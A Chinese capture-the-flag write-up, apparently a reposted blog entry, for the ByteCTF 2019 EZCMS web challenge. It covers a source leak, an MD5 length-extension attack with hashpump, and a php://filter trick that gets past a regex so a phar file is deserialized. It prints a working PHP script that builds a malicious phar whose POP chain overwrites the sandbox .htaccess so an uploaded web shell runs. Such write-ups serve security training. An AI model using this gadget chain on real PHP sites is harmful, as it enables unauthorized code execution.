[ByteCTF 2019]EZCMS

题目复现链接:https://buuoj.cn/challenges
参考链接:ByteCTF_2019&XNUCA_2019部分web题复现

一、知识点

1、源码泄露

访问www.zip获取源码

2、MD5长度扩展攻击

hashpump 注意 hashpump原理,只有一项会影响到最后的hash值

3、php://filter绕过正则实现phar反序列化

就算知道是这个思路,自己也做不出来。。。
这里上传shell没有问题,阻碍是.htaccess被乱写导致解析不了,所以我们的目的是重写或者干脆删除.htaccess
首先要知道源码中preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)的过滤是可以绕过的,最后访问phar://时可以访问php://filter/resource=phar://

最后的phar脚本如下

<?php

class File{

    public $filename; public $filepath; public $checker; function __construct() { // $this->checker=new Admin(); $this->checker=new Profile(); } } class Profile{ public $username; public $password; public $admin; function __construct()// __construct 是给 admin username password 赋值的 ,不要想太多 { $this->admin = new ZipArchive(); $this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess"; $this->password = ZipArchive::OVERWRITE; } function __call($name, $arguments) { $this->admin->open($this->username, $this->password);//这里就是寻找到的pop链 open,利用原来有的open } } $a = new File('Lethe','Lethe'); @unlink("1.phar"); $phar = new Phar("1.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();

猜你喜欢

转载自www.cnblogs.com/nwzw-blog/p/12083299.html
今日推荐